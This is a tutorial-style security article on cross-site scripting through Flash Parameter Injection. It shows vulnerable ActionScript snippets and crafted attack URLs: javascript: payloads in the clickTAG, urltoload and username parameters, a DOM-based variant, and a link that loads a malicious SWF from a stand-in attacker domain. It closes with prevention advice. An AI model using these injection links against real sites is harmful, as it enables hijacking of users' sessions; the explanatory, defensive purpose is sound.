Elaborate Ways to Exploit XSS: Flash Parameter Injection (FPI)

Common Cross-site scripting (XSS) attacks rely on the injection of malicious code (usually JavaScript) in HTML pages, HTML headers or page DOM. There are, however, ways of injecting malicious code in less likely, very popular and innocent-looking places, such as Flash objects. The use of Flash objects has dramatically increased over the last years, with the development of web-based advertising and dynamic web or social networking.

Flash Parameter Injection (FPI)

Flash applications are an Adobe (Macromedia) proprietary format for delivering multimedia content, and mainly consist of a combination of graphics /audio and ActionScript code. Commonly, the end result of Flash applications is a video clip, advertising banner or online game.  This format is widely spread across the Internet: YouTube uses Flash to delivering their content and, more importantly, they allow users to upload their own content which, usually, is not built with security in mind.

Flash applications can be standalone or embedded in HTML pages. Security researchers such as Stefano Di-Paola and Mike Bailey have shown that Flash applications can be used to deliver cross-site scripting attacks under certain circumstances that enable attackers to access and modify Flash parameters.

The main premise for using Flash parameters to enable XSS is the ability of Flash applications to execute script code (JavaScript, HTML, etc.) when a Flash object is embedded in an HTML page and loaded within the browser. In addition, Flash applications can be used to forge binary and HTTP requests and run other external Flash applications, thus offering more ways to achieve XSS attacks.

Reflected XSS through Flash Parameter Injection (FPI)         

There are several ways to trigger XSS through FPI, and depending on the circumstances and the vulnerabilities in the Flash application, the attacker can achieve the entire range of cross-site scripting attacks: Reflected (Non-Persistent) XSS, Stored (Persistent) XSS or DOM-based XSS.

a) Misuse of GetURL() function

Considering the following code belonging to a vulnerable Flash application FlashApp.swf (ActionScript 2.0) hosted on mydomain.com – if:

(_root.urltoload !=null) {

  GetURL (_root.urltoload);

}

The application will load a URL which is passed on as parameter and does not perform any validation against the parameter value; creating the premises for the XSS condition. Hence, a URL such as http://www.mydomain.com/FlashApp.swf?urltoload=javascript%3Aalert%28%22XSS%22%29 would result in the GetURL () function to cause the browser to execute the JavaScript code Alert (“XSS”), which may accomplish a Reflected XSS attack on the domain where the Flash application is hosted.

The ClickTag parameter is widely used with advertising banners as it enables the tracking of where the banners are shown and can redirect users to other websites when the banner is clicked. Example of embedding an advertising banner and using ClickTag to redirect users clicking the Flash object:

<embed
src="<a href="http://www.advertisingsite.com/FlashBanner.swf?clickTAG=http://www.advertising.com/track?http://advertising.com">http://www.advertisingsite.com/FlashBanner.swf?clickTAG=http://www.advertising.com/track?http://advertising.com</a>"&gt;

If the ActionScript code of the FlashBanner.swf calls GetURL(_root.ClickTag) without validating the value, the attackers can craft a link that passes JavaScript code as value for the ClickTag parameter, thus generating the XSS condition:

http://www.advertisignsite.com/FlashBanner.swf?clickTAG=javascript:alert(“XSS”)

Generally, prevention of such vulnerabilities involves proper initialization of user input variables and / or validation to make sure that the input provided is a valid URL.

b) HTML in text fields

Unsafe usage of text fields in ActionScript is another injection point which can be exploited. The following example describes initialization and usage of a text field in an unsafe manner (inputbox.html = true).

_root.createTextField("Inputbox",0,20,20,320,240);
_root.Inputbox.html=true;
_root.Inputbox.htmlText="Welcome" + _root.username;

The text field allows HTML injection (as well as arbitrary ActionScript code) and then makes use of user input without performing validation. An attacker can craft a link that injects JavaScript code via HTML in the text field value, causing the code to get executed and thus generating the XSS condition:

http://www.mydomain.com/FlashApp.swf?username=%3Ca+href%3D%22javascript%3Aalert%28%22XSS%22%29%22%3Eclick+here+to+win%3C/a%3E

In this case, the text field will have the value

“Welcome <a href="javascript:alert(XSS)">click here to win</a>”

c) Other methods (loadMovie(), asfunction())

Similarly, loadMovie() or asfunction() methods in ActionScript are other potential injection points:

ActionScript:

_root.loadMovie(_root.movietoload)

Malicious link:

http://www.mydomain.com/FlashApp.swf?movietoload=http://hackerdomain/hackedFlash.swf

The link will cause the Flash application to load the malicious Flash object hosted on the attacker’s domain and will deliver whatever payload the malicious Flash object implements. Note – in this scenario, the success and effectiveness of the attack depend on improper configuration in the crossdomain.xml file of:

mydomain.com(<allow-access-from domain="*" /> )

Or on the attacker altering the xml file (or perform other hacks) to enable cross-site communication with the domain hosting the malicious Flash object being loaded.

Persistent Cross-Site Scripting through FPI

While the examples above show Non-Persistent XSS attacks achieved via FPI, Persistent XSS can also be achieved, by injecting malicious code into vulnerable Flash applications that make use of Flash shared objects (or Flash cookies) for storing server-side, data input by the user. In this scenario, the attack would be executed every time the Flash application is loaded. A typical example of Flash application that is vulnerable to Persistent XSS would be one that uses an undefined variable to read data from shared objects, and then passes it as an argument to the GetURL() function, without proper parsing and sanitization.

DOM-based Cross-Site Scripting through FPI

DOM-based XSS can be achieved when a vulnerable page makes use of DOM object values  when building a dynamic Flash object.

Example:

<script type="text/javascript" language="JavaScript">
         var Flashobj = ";
         var rep= encodeURI(document.location);
         Flashobj += '<object>';
         Flashobj += '<embed src="FlashApp.swf" flashvars="repository='+rep +'">';
         Flashobj += </embed>';
         Flashobj += '</object>';
         document.write(Flashobj);
</script>

The output of the above script is an HTML as shown below:

<object>
       <embed src="FlashApp.swf" flashvars="repository=http;//mydomain/index.htm">
       </embed>
</object>

An attacker can craft a link;

http://mydomain/index.htm#&globalVar=value

value which if clicked, will result in the HTML page:

<object>
       <embed src="FlashApp.swf"
       flashvars="repository=http://mydomain/index.htm#&globalVar=value">
       </embed>
</object>

Thus, the attacker can manipulate any global variable of the Flash object embedded in the original HTML page and assign values that will present an XSS condition. Although encodeURI() method was used when manipulating the value of a DOM object with the aim of preventing DOM-based XSS, the method is not effective because it does not encode all characters (“&”) making the code prone to FPI DOM-based XSS.

Prevention Methods

As with non-Flash objects, cross-site scripting can be prevented by making sure that the ActionScript code parses and sanitizes external input that is being used as argument for vulnerable methods. At the same time, developers can use encoding functionality that prevents malicious scripts from being executed.

Periodic use of automated web vulnerability tools that are able to decompile and parse ActionScript code in order to identify Flash parameter injection vulnerabilities are essential for keeping the Flash-based web application secure.